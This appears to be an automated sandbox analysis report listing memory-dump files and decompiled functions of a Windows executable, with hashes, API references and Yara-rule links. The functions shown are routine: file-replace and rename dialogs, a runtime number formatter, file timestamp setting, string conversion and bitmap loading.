Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 7686c426448da66739d3437b1a1965b2a5c79a4a0b3bcb93469093f9a849f83a
Instruction ID: 9c419c55e34ec370d022325fafc5047979a834b8121797725fae2febf517b2d4
Opcode Fuzzy Hash: 7686c426448da66739d3437b1a1965b2a5c79a4a0b3bcb93469093f9a849f83a
Instruction Fuzzy Hash: 8F1177B1900705AFD3365F65DC84A9BFBEDEB99654F20482EF2DA86240DBB11980CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0110D1E1, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110D1E1(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				WCHAR* _t16;
				_Unknown_base(*)()* _t19;
				int _t22;

				 *0x114cc80 = _a12;
				 *0x114cc84 = _a16;
				 *0x1137464 = _a20;
				if( *0x1137443 == 0) {
					if( *0x1137442 == 0) {
						_t19 = E0110B820;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0x112fed4, _t16,  *0x1137438, _t19, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x112fed0, L"RENAMEDLG",  *0x1137448, E0110CB10, _a4) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x0110d1ee
0x0110d1f6
0x0110d1fe
0x0110d203
0x0110d210
0x0110d21a
0x0110d21f
0x0110d249
0x0110d260
0x0110d265
0x00000000
0x00000000
0x0110d247
0x00000000
0x00000000
0x0110d247
0x00000000
0x0110d26b
0x00000000
0x0110d214
0x00000000

Strings

RENAMEDLG, xrefs: 0110D234
REPLACEFILEDLG, xrefs: 0110D21F, 0110D253

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 11026b3b7030857034704270f9b42e60fb76b14c826bb76ce3c16b7824327378
Instruction ID: e3b18a3f3637454dde59ae3a19198d4c0c26209a8738f3c46900980424315f15
Opcode Fuzzy Hash: 11026b3b7030857034704270f9b42e60fb76b14c826bb76ce3c16b7824327378
Instruction Fuzzy Hash: 7E019275A04344BFDB3F5EA8F804E563FB8A708661F000035F92593299D3B1D8E0EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0111905E, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0111905E(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E01113C16(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E0110E340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E0110E340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0x1114881
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E0110F1A0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E0110E340( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E0110E660();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E0110E660();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E0110E660();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E01119361(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E01121960(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E011187DA();
					_t183 = 0x22;
					 *_t129 = _t183;
					E011186B9();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x0111905e
0x01119069
0x01119070
0x01119072
0x01119072
0x01119074
0x0111907d
0x0111907f
0x01119084
0x0111908a
0x011190a0
0x011190a5
0x011190a8
0x011190b5
0x011190ba
0x0111910e
0x01119116
0x01119118
0x0111911a
0x0111911d
0x0111911d
0x0111911d
0x01119123
0x0111912b
0x0111913e
0x01119141
0x01119143
0x01119146
0x01119147
0x01119168
0x0111916b
0x0111916b
0x01119149
0x01119149
0x0111914b
0x01119156
0x01119156
0x01119158
0x0111915f
0x0111915a
0x0111915a
0x0111915a
0x01119158
0x0111916c
0x0111916e
0x0111916f
0x01119172
0x01119174
0x01119188
0x01119176
0x01119176
0x01119176
0x0111918d
0x0111918d
0x01119192
0x01119195
0x011191a0
0x011191a0
0x011191a0
0x011191a0
0x011191a4
0x011191ab
0x011191ac
0x011191af
0x011191b2
0x011191b2
0x011191b4
0x00000000
0x00000000
0x011191cc
0x011191d3
0x011191d7
0x011191da
0x011191dd
0x011191df
0x011191df
0x011191df
0x011191e1
0x011191e4
0x011191e7
0x011191e9
0x011191f1
0x011191f7
0x011191fa
0x011191fd
0x011191fe
0x01119201
0x01119204
0x01119204
0x01119209
0x0111920c
0x00000000
0x00000000
0x01119224
0x01119229
0x0111922d
0x00000000
0x00000000
0x01119231
0x01119231
0x01119234
0x01119235
0x01119235
0x01119237
0x0111923a
0x00000000
0x00000000
0x0111923c
0x0111923f
0x01119246
0x01119249
0x0111924c
0x01119262
0x01119262
0x01119262
0x0111924e
0x0111924e
0x01119250
0x01119253
0x0111925e
0x01119255
0x01119258
0x01119258
0x01119253
0x00000000
0x0111924c
0x01119241
0x01119241
0x01119243
0x01119243
0x01119197
0x01119197
0x0111919a
0x01119265
0x01119265
0x01119267
0x01119269
0x0111926c
0x0111926d
0x0111926e
0x0111926f
0x01119277
0x01119277
0x01119277
0x01119279
0x0111927c
0x0111927f
0x01119281
0x01119281
0x01119283
0x01119295
0x01119299
0x0111929c
0x011192a3
0x011192ab
0x011192ab
0x011192ae
0x011192b0
0x011192c1
0x011192c1
0x011192c5
0x011192c5
0x011192c8
0x011192ca
0x011192cd
0x00000000
0x011192b2
0x011192b2
0x011192b8
0x011192b8
0x011192bc
0x011192cf
0x011192cf
0x011192d3
0x011192d4
0x011192d6
0x011192d8
0x01119319
0x01119319
0x0111931b
0x01119328
0x01119328
0x0111932a
0x0111932c
0x0111932d
0x0111932e
0x01119335
0x01119338
0x0111933a
0x0111933a
0x0111933b
0x0111933d
0x01119340
0x01119340
0x01119342
0x01119344
0x00000000
0x01119344
0x0111931d
0x0111931f
0x00000000
0x00000000
0x01119321
0x00000000
0x00000000
0x01119323
0x01119326
0x00000000
0x00000000
0x00000000
0x01119326
0x011192df
0x011192e5
0x011192e5
0x011192e7
0x011192e8
0x011192e9
0x011192ea
0x011192f1
0x011192f4
0x011192f6
0x011192f7
0x011192f9
0x01119306
0x01119306
0x01119308
0x0111930a
0x0111930b
0x0111930c
0x01119313
0x01119316
0x01119318
0x01119318
0x00000000
0x01119318
0x011192fb
0x011192fb
0x011192fd
0x00000000
0x00000000
0x011192ff
0x00000000
0x00000000
0x01119301
0x01119304
0x00000000
0x00000000
0x00000000
0x01119304
0x011192e1
0x011192e3
0x00000000
0x00000000
0x00000000
0x011192e3
0x011192b4
0x011192b6
0x00000000
0x00000000
0x00000000
0x011192b6
0x011192b0
0x00000000
0x0111919a
0x01119195
0x011190bc
0x011190be
0x00000000
0x011190c0
0x011190d6
0x011190db
0x011190dd
0x011190e9
0x011190ef
0x011190f0
0x011190f2
0x011190f4
0x011190ff
0x011190ff
0x01119102
0x01119104
0x01119104
0x01119107
0x011190df
0x011190df
0x011190df
0x00000000
0x011190dd
0x0111908c
0x0111908c
0x01119093
0x01119094
0x01119096
0x01119348
0x0111934c
0x01119351
0x01119351
0x01119360
0x01119360

APIs

_strrchr.LIBCMT ref: 011190E9
__alldvrm.LIBCMT ref: 011192EA
__alldvrm.LIBCMT ref: 0111930C

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 5368bc68b7d4e75d7d9cee32b5eb0aa7715ff483d2baf0e8f8fec88c13379cf7
Instruction ID: 705153c87efa5cdfc41c9270333466730ebf4f6e816806dfe2f5197c3f1226d3
Opcode Fuzzy Hash: 5368bc68b7d4e75d7d9cee32b5eb0aa7715ff483d2baf0e8f8fec88c13379cf7
Instruction Fuzzy Hash: BAA15671A0438A9FE72ECE68C8A07EEFFE5EF15218F18417DD5A59B285C3348941C751

Uniqueness

Uniqueness Score: -1.00%

Function 010FA1EB, Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010FA1EB(void* __edx) {
				signed char _t40;
				void* _t41;
				void* _t52;
				signed char _t70;
				void* _t79;
				signed int* _t81;
				signed int* _t84;
				void* _t85;
				signed int* _t88;
				void* _t90;

				_t79 = __edx;
				E0110E1C0();
				_t84 =  *(_t90 + 0x1038);
				_t70 = 1;
				if(_t84 == 0) {
					L2:
					 *(_t90 + 0x11) = 0;
					L3:
					_t81 =  *(_t90 + 0x1040);
					if(_t81 == 0) {
						L5:
						 *(_t90 + 0x13) = 0;
						L6:
						_t88 =  *(_t90 + 0x1044);
						if(_t88 == 0) {
							L8:
							 *(_t90 + 0x12) = 0;
							L9:
							_t40 = E010FA0D4( *(_t90 + 0x1038));
							 *(_t90 + 0x18) = _t40;
							if(_t40 == 0xffffffff || (_t70 & _t40) == 0) {
								_t70 = 0;
							} else {
								E010FA384( *((intOrPtr*)(_t90 + 0x103c)), 0);
							}
							_t41 = CreateFileW( *(_t90 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t90 + 0x14) = _t41;
							if(_t41 != 0xffffffff) {
								L16:
								if( *(_t90 + 0x11) != 0) {
									E01100B3D(_t84, _t79, _t90 + 0x1c);
								}
								if( *(_t90 + 0x13) != 0) {
									E01100B3D(_t81, _t79, _t90 + 0x2c);
								}
								if( *(_t90 + 0x12) != 0) {
									E01100B3D(_t88, _t79, _t90 + 0x24);
								}
								_t85 =  *(_t90 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t85,  ~( *(_t90 + 0x1b) & 0x000000ff) & _t90 + 0x00000030,  ~( *(_t90 + 0x16) & 0x000000ff) & _t90 + 0x00000024,  ~( *(_t90 + 0x11) & 0x000000ff) & _t90 + 0x0000001c);
								_t52 = CloseHandle(_t85);
								if(_t70 != 0) {
									_t52 = E010FA384( *((intOrPtr*)(_t90 + 0x103c)),  *(_t90 + 0x18));
								}
								goto L24;
							} else {
								_t52 = E010FB5AC( *(_t90 + 0x1040), _t90 + 0x38, 0x800);
								if(_t52 == 0) {
									L24:
									return _t52;
								}
								_t52 = CreateFileW(_t90 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t90 + 0x14) = _t52;
								if(_t52 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t90 + 0x12) = _t70;
						if(( *_t88 | _t88[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t90 + 0x13) = _t70;
					if(( *_t81 | _t81[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t90 + 0x11) = 1;
				if(( *_t84 | _t84[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x010fa1eb
0x010fa1f0
0x010fa1fc
0x010fa203
0x010fa207
0x010fa214
0x010fa214
0x010fa218
0x010fa218
0x010fa221
0x010fa22e
0x010fa22e
0x010fa232
0x010fa232
0x010fa23b
0x010fa249
0x010fa249
0x010fa24d
0x010fa254
0x010fa259
0x010fa260
0x010fa276
0x010fa266
0x010fa26f
0x010fa26f
0x010fa291
0x010fa297
0x010fa29e
0x010fa2e8
0x010fa2ed
0x010fa2f6
0x010fa2f6
0x010fa300
0x010fa309
0x010fa309
0x010fa313
0x010fa31c
0x010fa31c
0x010fa32c
0x010fa330
0x010fa340
0x010fa350
0x010fa356
0x010fa35d
0x010fa365
0x010fa372
0x010fa372
0x00000000
0x010fa2a0
0x010fa2b1
0x010fa2b8
0x010fa377
0x010fa381
0x010fa381
0x010fa2d5
0x010fa2db
0x010fa2e2
0x00000000
0x00000000
0x00000000
0x010fa2e2
0x010fa29e
0x010fa243
0x010fa247
0x00000000
0x00000000
0x00000000
0x010fa247
0x010fa228
0x010fa22c
0x00000000
0x00000000
0x00000000
0x010fa22c
0x010fa20e
0x010fa212
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,010F808F,?,?,?), ref: 010FA291
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,010F808F,?,?), ref: 010FA2D5
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,010F808F,?,?,?,?,?,?,?,?), ref: 010FA356
CloseHandle.KERNEL32(?,?,00000000,?,010F808F,?,?,?,?,?,?,?,?,?,?,?), ref: 010FA35D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 53d793a34472d70050d509e5320c95002c8f2549c331ac7ef909d4e618d6bbb9
Instruction ID: eae6a7da33486899e68e98464722cc0d59ced9de944025b90f26e51ae7663496
Opcode Fuzzy Hash: 53d793a34472d70050d509e5320c95002c8f2549c331ac7ef909d4e618d6bbb9
Instruction Fuzzy Hash: 1D41F131348381EAE775DE28DC42BEEBBE4AB85700F04495DB6D8D35C0C679D648DB52

Uniqueness

Uniqueness Score: -1.00%

Function 0111BF68, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0111BF68(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t34 ^ _t70;
				E01113C16(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0x7fe85006
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E0110EA8A(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E0110F1A0(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E0111A140(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E01118398(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E01121870();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x0111bf70
0x0111bf77
0x0111bf83
0x0111bf88
0x0111bf8d
0x0111bf92
0x0111bf92
0x0111bf95
0x0111bf97
0x0111bf97
0x0111bf9c
0x0111bfb5
0x0111bfbb
0x0111bfc0
0x0111c05f
0x0111c063
0x0111c068
0x0111c068
0x0111c084
0x0111c084
0x0111bfc6
0x0111bfce
0x0111bfd2
0x0111c01e
0x0111c020
0x0111c022
0x0111c027
0x0111c03e
0x0111c046
0x0111c056
0x0111c056
0x0111c046
0x0111c058
0x0111c059
0x00000000
0x0111c05e
0x0111bfd9
0x0111bfdb
0x0111bfdd
0x0111bfe5
0x0111c002
0x0111c00c
0x0111c011
0x00000000
0x00000000
0x0111c013
0x0111c019
0x0111c019
0x00000000
0x0111c019
0x0111bfe9
0x0111bfed
0x0111bff2
0x0111bff6
0x00000000
0x00000000
0x0111bff8
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,7FE85006,01113DA6,00000000,00000000,01114DDB,?,01114DDB,?,00000001,01113DA6,7FE85006,00000001,01114DDB,01114DDB), ref: 0111BFB5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0111C03E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0111C050
__freea.LIBCMT ref: 0111C059

Part of subcall function 01118398: RtlAllocateHeap.NTDLL(00000000,?,?,?,01113866,?,0000015D,?,?,?,?,01114D42,000000FF,00000000,?,?), ref: 011183CA

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: c064096589ad4cc5f489c9007cf7c3b828c6fc35c21b2b7df895ce9de7f6ceaa
Instruction ID: 20bf64fb3a8a9d9bd517b9f707822e8cdc888bb41fe2d7030fa11b503f33791e
Opcode Fuzzy Hash: c064096589ad4cc5f489c9007cf7c3b828c6fc35c21b2b7df895ce9de7f6ceaa
Instruction Fuzzy Hash: 6331D072A0020AABDF298F68DC45EAEBBA5EB51610F144238ED14D7194E735C9A4CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0110AD3D, Relevance: 6.1, APIs: 4, Instructions: 54
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110AD3D(void* __ecx, void* __edx, void* __fp0) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				void* _t11;
				void* _t13;
				signed int _t18;
				signed int _t19;
				void* _t21;
				void* _t22;
				void* _t26;
				void* _t32;

				_t32 = __fp0;
				_t21 = __edx;
				_t22 = LoadBitmapW( *0x112fed0, 0x65);
				_t19 = _t18 & 0xffffff00 | _t22 == 0x00000000;
				_t28 = _t19;
				if(_t19 != 0) {
					_t22 = E01109D9A(0x65);
				}
				GetObjectW(_t22, 0x18,  &_v28);
				if(E01109C8A(_t28) != 0) {
					if(_t19 != 0) {
						_t26 = E01109D9A(0x66);
						if(_t26 != 0) {
							DeleteObject(_t22);
							_t22 = _t26;
						}
					}
					_t11 = E01109CEC(_v20);
					_t13 = E01109EDB(_t21, _t32, _t22, E01109CA9(_v24), _t11);
					DeleteObject(_t22);
					_t22 = _t13;
				}
				return _t22;
			}

0x0110ad3d
0x0110ad3d
0x0110ad53
0x0110ad57
0x0110ad5a
0x0110ad5c
0x0110ad65
0x0110ad65
0x0110ad6e
0x0110ad7b
0x0110ad80
0x0110ad89
0x0110ad8d
0x0110ad90
0x0110ad96
0x0110ad96
0x0110ad8d
0x0110ad9b
0x0110adab
0x0110adb3
0x0110adb9
0x0110adbb
0x0110adc3

APIs

LoadBitmapW.USER32(00000065), ref: 0110AD4D
GetObjectW.GDI32(00000000,00000018,?), ref: 0110AD6E
DeleteObject.GDI32(00000000), ref: 0110AD90
DeleteObject.GDI32(00000000), ref: 0110ADB3

Part of subcall function 01109D9A: FindResourceW.KERNEL32(0110AD89,PNG,?,?,?,0110AD89,00000066), ref: 01109DAC
